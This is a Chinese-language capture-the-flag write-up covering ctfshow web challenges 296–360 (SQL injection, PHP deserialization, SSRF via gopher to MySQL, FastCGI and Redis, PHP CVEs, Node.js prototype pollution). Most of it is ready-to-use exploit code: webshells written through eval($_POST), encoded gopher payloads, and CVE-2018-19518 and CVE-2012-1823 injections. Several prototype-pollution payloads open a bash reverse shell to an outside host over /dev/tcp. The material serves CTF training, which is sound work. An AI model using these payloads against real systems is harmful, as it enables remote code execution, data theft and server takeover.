            url = input("set url : ")
            th['url'] = url
        elif input_cmd == 'show url':
            print(th.get("url"))
        else:
            Poc(th.get("url"), input_cmd)
    else:
        url = input("set url : ")
        th["url"] = url

web296

python Struts2Scan.py -u http://328482e2-295f-4ba8-a3fa-96a4370b371f.challenge.ctf.show/S2-052/orders

web297

python Struts2Scan.py -u http://85d2681a-014b-46b3-acbe-815198762df2.challenge.ctf.show/S2-053/

web298

用java decompiler反编译java,在ctfshow/login传username和password

web299

任意文件读取

/view-source?file=../../../../../proc/self/environ

读取环境变量

或者

/view-source?file=WEB-INF/web.xml

读WEB-INF/web.xml,拿到com.ctfshow.servlet.GetFlag类,然后读取WEB-INF/classes/com/ctfshow/servlet/GetFlag.class,看到有个fl3g,读取

../../../../../fl3g

web300

跟上题一样,最后是…/…/…/…/…/f1bg

代码审计

web301

在checklogin.php里有sql注入,联合注入就可以

或者sqlmap跑,拿到账号密码登录也可以

python sqlmap.py -u https://7937149d-59a7-4b96-a6f4-942a379c50fe.challenge.ctf.show/login.php --form --batch --dump
+----+--------------+--------------+
| id | sds_password | sds_username |
+----+--------------+--------------+
| 1  | ctfshowwwww  | admin        |
+----+--------------+--------------+

web302

跟web301相比修改了if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
对1进行相应加密后作为联合注入的字符串

username=90999' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
password=1

web303

在sds_usr.sql拿到登录信息

dptadd.php页面POST

dpt_name=1',sds_address = (select group_concat(table_name) from information_schema.tables where table_schema=database())#
dpt_name=1',sds_address = (select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
dpt_name=1',sds_address = (select group_concat(flag) from sds_fl9g)#

web304

操作同上

web305

cookie反序列化

<?php

class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

$user = new user('1.php', '<?php eval($_POST[1]);phpinfo()?>');

echo urlencode(serialize($user));

访问1.php,蚁剑连接,添加数据库,数据库类型为mysqli,密码为root(不知道为什么,conn.php中写的是phpcj)

web306

<?php
class log{
	public $title='1.php';
	public $info='<?php eval($_POST[1])?>';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}

}
class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->conn=new log();
	}

	public function __destruct(){
		$this->conn->close();
	}


}

echo base64_encode(serialize(new dao()));

web307

log类中变成closelog()源代码无法调用这个函数,另外找Pop链

// logout.php
$service = unserialize(base64_decode($_COOKIE['service']));	//!!!!!
if($service){
	$service->clearCache();	//!!!!
}


// dao.php
class dao{
	private $config;

	public function __construct(){
		$this->config=new config();
	}
	
	public function  clearCache(){
		shell_exec('rm -rf ./'.$this->confdig->cache_dir.'/*');		//!!!
	}

}


// config.php
class config{
	public $cache_dir = 'cache';	//!!!!
}


payload

<?php

class dao{
	private $config;
    
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $cache_dir = ";echo '<?php eval(\$_POST[a]);?>' > 1.php;";//改代码   
    				   // nl ../* >1.txt
}
$d= new dao();
echo base64_encode(serialize($d));

?>

web308

index.php

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $lastVersion=$service->checkVersion();
}

dao.php

	public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

config.php

class config{
	private $mysql_username='root';
	private $mysql_password='';
	private $mysql_db='sds';
	private $mysql_port=3306;
	private $mysql_host='localhost';
	public $cache_dir = 'cache';
	public $update_url = 'https://vip.ctf.show/version.txt';

	public function get_mysql_username(){
		return $this->mysql_username;
	}
	public function get_mysql_password(){
		return $this->mysql_password;
	}
	public function get_mysql_port(){
		return $this->mysql_port;
	}
	public function get_mysql_db(){
		return $this->mysql_db;
	}
	public function get_mysql_host(){
		return $this->mysql_host;
	}
}

checkUpdate()

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}
?>

url的输入可由反序列化控制,存在SSRF漏洞

gopher://的一些分析

gopher协议支持发出GET、POST请求:可以先拦截get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。

可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

curl是支持gopher协议的,所以这也是curl_exec()容易出现漏洞的地方

gopher://IP:port/_{TCP/IP数据流}

那么,为什么ssrf要配合gopher协议呢?

正常来说只能传一个内网url+文件路径,没法做更多的操作,比如传马,比如绕过验证,但是curl_exec()支持gopher协议,gopher可以把一整个请求包打包塞进里面,那请求包能干的事我们就都能干, 并且就可以解决漏洞点不在GET参数的问题了 。

在gopher协议中发送HTTP的数据,需要以下三步:

1、构造HTTP数据包  
2、URL编码、替换回车换行为%0d%0a  
3、发送gopher协议  

在转换为URL编码时候有这么几个坑:

1、问号(?)需要转码为URL编码,也就是%3f  
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a  
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)  

回到题目
利用Gopherus工具(kali里python2环境)写payload

python2 gopherus.py --exploit mysql
select "<?php eval($_POST[1]);?>" INTO OUTFILE "/var/www/html/a.php"

exp.php

<?php

class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}

class config{
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}

$d= new dao();
echo base64_encode(serialize($d));
//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjA6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDUlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNDklNGUlNTQlNGYlMjAlNGYlNTUlNTQlNDYlNDklNGMlNDUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlNjElMmUlNzAlNjglNzAlMjIlMDElMDAlMDAlMDAlMDEiO319
?>

web309

在Gopher中利用FastCGI协议打SSRF
https://www.freebuf.com/articles/web/292437.html

FastCGI攻击需要满足三个条件:

  1. PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件
  2. 知道题目环境中的一个PHP文件的绝对路径
  3. PHP-FPM监听在本机9000端口

工具中写入的命令为

cat /var/www/html/f*

注意,这里只能写system()函数中可用的参数函数,因为工具会自动加system();

写sleep(2)会有延迟,证明漏洞可用

<?php

class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}

class config{
    public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH72%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00H%04%00%3C%3Fphp%20system%28%27cat%20/var/www/html/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}

$d= new dao();
echo base64_encode(serialize($d));

web310

9000端口和6379端口都关了,试着读取nginx配置文件

<?php
class config{
	public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>
worker_processes  auto;

error_log  /var/log/nginx/error.log warn;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }
	server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

发现有4476端口,指向/var/flag

<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 'http://127.0.0.1:4476';}

$d= new dao();
echo base64_encode(serialize($d));

?>

phpCVE

web311

搜索 PHP/7.1.33dev 的CVE : CVE-2019-11043

用这个工具phuip-fpizdam利用漏洞 https://github.com/neex/phuip-fpizdam

go env -w GOPROXY=https://goproxy.cn
go get -v && go build
go run . "http://e1fe0c96-3010-4c6c-a6f9-f3a1d6a564b9.challenge.ctf.show/index.php"

然后传参?a=+要输入的bash命令

web312

PHP/5.6.38

CVE-2018-19518
基本payload形式

hostname=x+-oProxyCommand%3decho%09通过base64加密过的执行语句|base64%09-d|sh}

对一句话木马编码

<?php eval($_POST[hello]);?>
PD9waHAgZXZhbCgkX1BPU1RbaGVsbG9dKTs/Pg==

要执行的shell命令

echo "PD9waHAgZXZhbCgkX1BPU1RbaGVsbG9dKTs/Pg==" | base64 -d >/var/www/html/s7.php

payload:

hostname=x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiYUdWc2JHOWRLVHMvUGc9PSIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvczcucGhw|base64%09-d|sh}

web313

php版本PHP/5.4.1

CVE-2012-1823

url/index.php?-s如果可以爆出来源码 说明漏洞存在

cgi模式下参数调用

-c 指定php.ini文件的位置

-n 不要加载php.ini文件

-d 指定配置项

-b 启动fastcgi进程

-s 显示文件源码

-T 执行指定次该文件

-h和-? 显示帮助

指定配置文件

-d allow_url_include=on -d auto_prepend_file=php://input

注意空格要用+替代,= :转url编码

POST处写入要执行的php代码

<?php system('cat /somewhere/fla9.txt') ?>

web314

日志包含

?f=../../../../var/log/nginx/access.log
ua写入<?php eval($_POST[a]);?>
POST传参a=system("cat /f*");

用session条件竞争也可以做

web315

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问 http://target/index.php?XDEBUG_SESSION_START=phpstorm ,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码

脚本位置在E:\CTF\ctf解码工具+脚本管理\xdebug-rce
开启VPS,上传脚本,随后本机连接VPS,远程执行shell(VNC上太卡)

scp -P 21274 -r E:\CTF\ctf解码工具+脚本管理\xdebug-rce root@107.148.50.171:/home
ssh root@107.148.50.171 -p 21274
# usage: exp.py [-h] -c CODE -t TARGET [-l LISTEN]
# 要求用python3并安装requests库
# 因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网),云服务器还需要注意安全组
python3 exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec("ls");'
python3 exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec("cat f*");'

XSS

web316

nodejs

Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

Snyk扫描nodejs项目漏洞,windows中使用,vscode也可用

Windows
先装node.js

命令行中,改镜像源

npm config set registry https://registry.npmmirror.com/

建议每次执行前都进行一下这个步骤以安装最新版本的snyk

npm install -g snyk

验证安装

snyk --version

授权

snyk auth

cd到你项目的目录,我是使用它扫描项目依赖

snyk test

更多使用见命令行界面

vscode
在windows中完成安装后,打开项目,装snyk插件,全部认证通过扫描即可

web334

user.js发现username: ‘CTFSHOW’, password: ‘123456’

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

要求是name不等于CTFSHOW,第二行users.find就是取user.js部分,item.username=CTFSHOW,意思是name的大写为CTFSHOW

username:ctfshow
password:123456

web335

查看源代码发现/?eval=

然后传一个?eval=ls,回显是找不到文件;传了一个eval=1,在index.php回显了一个1

考虑到这里是nodejs,eval很有可能是执行的eval函数。在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

nodejs文档 https://nodejs.cn/api/child_process.html
nodejs中有child_process.exec(command[, options][, callback])

payload:require("child_process").execSync('ls')

web336

过滤了exec

拼接字符串绕过

?eval=require("child_process")['exe'%2B'cSync']('ls')

__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。

?eval=require("child_process")['exe'%2B'cSync']('cat /app/routes/in*')

可以看到源码

web337

数组绕过

?a[]=1&b[]=1
?a[a]=1&b[b]=1

或者参考php前后缀MD5强碰撞 MD5 Master
https://hsad.xyz/2024/10/02/2024SHCTF-web/

web338

node.js中的原型链污染 参考浅析CTF中的Node.js原型链污染

在JavaScript中存在这样一种继承机制:
我们这里调用b.number时,它的具体调用过程是如下所示的

1、在b对象中寻找number属性
2、当在b对象中没有找到时,它会在b.__proto__中寻找number属性
3、如果仍未找到,此时会去b.__proto__.__proto__中寻找number属性

本题主要涉及源码
utils/common



module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

主要利用这个函数utils.copy(user,req.body);实现user和secert的原型污染

payload

{"username":"aa","password":"bb","__proto__":{"ctfshow":"36dboy"}}

web339

api.js

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

res.render('api', { query: Function(query)(query)});
Express 提供的渲染方法,用于渲染模板文件。
'api' 指定了要渲染的模板名称(通常是 api.ejs、api.pug 等,根据模板引擎决定后缀)。
第二个参数是传递给模板的数据对象。
Function(query):动态创建一个新的 JavaScript 函数,query 是这个函数的参数名称。
Function(query)(query)Function(query) 定义了一个新函数。(query) 是调用这个新函数时传入的参数。
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101pw78uf2882.vicp.fun/33831 0>&1\"')"}}

这里不可以直接改isAdmin的值是因为user.userinfo.isAdmin原本就存在,不会向上找,修改Object.isAdmin无用.此外,子类不能污染父类已经存在的属性,只能新增属性。

先访问login调用copy函数,再访问api,执行函数,注意要找公网ip映射到本机,本机ip属于内网,无法直接反弹shell(贝锐花生壳)

web340

二次污染

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101pw78uf2882.vicp.fun/33831 0>&1\"')"}}}

web341

snyk扫描ejs 原型链污染 RCE

Express+lodash+ejs: 从原型链污染到RCE

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101pw78uf2882.vicp.fun/33831 0>&1\"');var __tmp2"}}}

web342-343

jade 原型链污染 rce 工具扫不出来,未公开为漏洞

参考文章

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101pw78uf2882.vicp.fun/33831 0>&1\"');//"}}}
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/101pw78uf2882.vicp.fun/33831 0>&1\"')"}}}
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101pw78uf2882.vicp.fun/33831 0>&1\"')"}}}

在用burp发送之前要把请求头中的“Content-Type”改为"application/json"

一位师傅分享到pug模板污染链(还没试可不可行)

{"song.name":"ASTa la vista baby",
     "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('xxx')"
    }
}

web344

代码审计

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);   
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

根据源码我们正常情况下需要传?query={"name":"admin","password":"ctfshow","isVIP":true}但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。

jwt

web345

SSRF

服务器请求伪造攻击

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

curl_exec用于发送根据前面参数设好的请求包
本题中可以直接发送指向本地flag.php文件的请求
此外,可能存在域名检查,不能访问外部域名,如http://e3c0eced-0c2a-45eb-bf04-03de47a5d54f.challenge.ctf.show

POST:url=http://127.0.0.1/flag.php

web352

只能用http或https访问,并且参数过滤了本地,127.0.0.1可以用十六进制绕过

url=http://0x7F000001/flag.php

web353

上题依然可用

还有

url=http://0/flag.php
 
url=http://127.1/flag.php

web354

直接过滤0和1

用解析到本地的域名绕过

url=http://sudo.cc/flag.php

这些域名都可以解析到127.0.0.1(大厂买的专门解析到127.0.0.1的)

如果DNS缓存中有域名指向127.0.0.1,这些域名在由本地发起服务时通过读取DNS缓存可以解析到127.0.0.1

http://safe.taobao.com/

http://114.taobao.com/  # 本题不行

http://wifi.aliyun.com/

http://imis.qq.com/     # 本题不行

http://localhost.sec.qq.com/

http://ecd.tencent.com/

web355

限制 host 长度小于等于 5
直接拿前面payload打

web356

host长度<=3
跟上题一样

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

使用 gethostbyname() 将 URL 中的域名解析为对应的 IP 地址

通过 filter_var() 验证得到的 IP 地址是否为有效的公共 IP 地址,并且不是私有或保留地址

使用 file_get_contents() 获取并输出该 URL 对应的内容

私有或保留地址是指那些被 IANA(互联网号码分配机构)保留用于特定目的的 IP 地址范围,这些地址不会在互联网上路由。私有地址通常用于内部网络中,比如家庭网络或公司内部网络。以下是私有和保留 IP 地址的几个常见范围:

私有地址:

A 类:10.0.0.0 - 10.255.255.255
B 类:172.16.0.0 - 172.31.255.255
C 类:192.168.0.0 - 192.168.255.255

保留地址:

127.0.0.0/8:回环地址,用于本地机器自身通信。
169.254.0.0/16:自动配置地址,用于在没有DHCP服务器的情况下自动配置网络接口。
224.0.0.0/4:多播地址。
240.0.0.0/4:保留地址,用于实验和未来使用。

两种解法

一种在服务器上写一个at.php

<?php
header("Location:http://127.0.0.1/flag.php"); 

向程序传入的url中指向这个服务器的at.php

url=http://ip/my6n.php

第二种
利用网站 http://ceye.io/profile 进行DNS重定向

首先在DNS Rebinding中添加一个127.0.0.1和38.148.224.13 (可以是任意一个非保留非私有的可用ip)

Identifier处是5a6pir.ceye.io,那就传入

url=http://r.5a6pir.ceye.io/flag.php

这样gethostbyname()时可能会访问38.148.224.13绕过ip过滤,到file_get_contents($_POST['url'])时url可能被解析成127.0.0.1,就可以读取本地的flag.php

web358

url要以http://ctf.开头show结尾

用@截断

url=http://ctf.@127.0.0.1/flag.php?show
当parse_url()解析到邮箱时:@前面是user
 
file_get_contents()会访问host:port/path,与user无关

web359

抓包可以发现参数u=Username&returl=https%3A%2F%2F404.chall.ctf.show%2F

再根据提示,可能存在curl_exec()与gopher协议的结合使用,用工具gopherus生成payload

python2 gopherus.py --exploit mysql
select "<?php eval($_POST[1]);?>" INTO OUTFILE "/var/www/html/a.php"

payload

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01

但是因为是在url中传,目标url接收后会自动进行一次url解码,所以要先进行一次url编码(hackerbar中urlencode)

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2549%254e%2554%254f%2520%254f%2555%2554%2546%2549%254c%2545%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

然后访问a.php,在1中POST命令

web360

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

简单说,漏洞的产生条件有以下两点:

redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务
python2 gopherus.py --exploit redis

phppayload传

<?php eval($_POST[1])?>
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2427%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

url编码
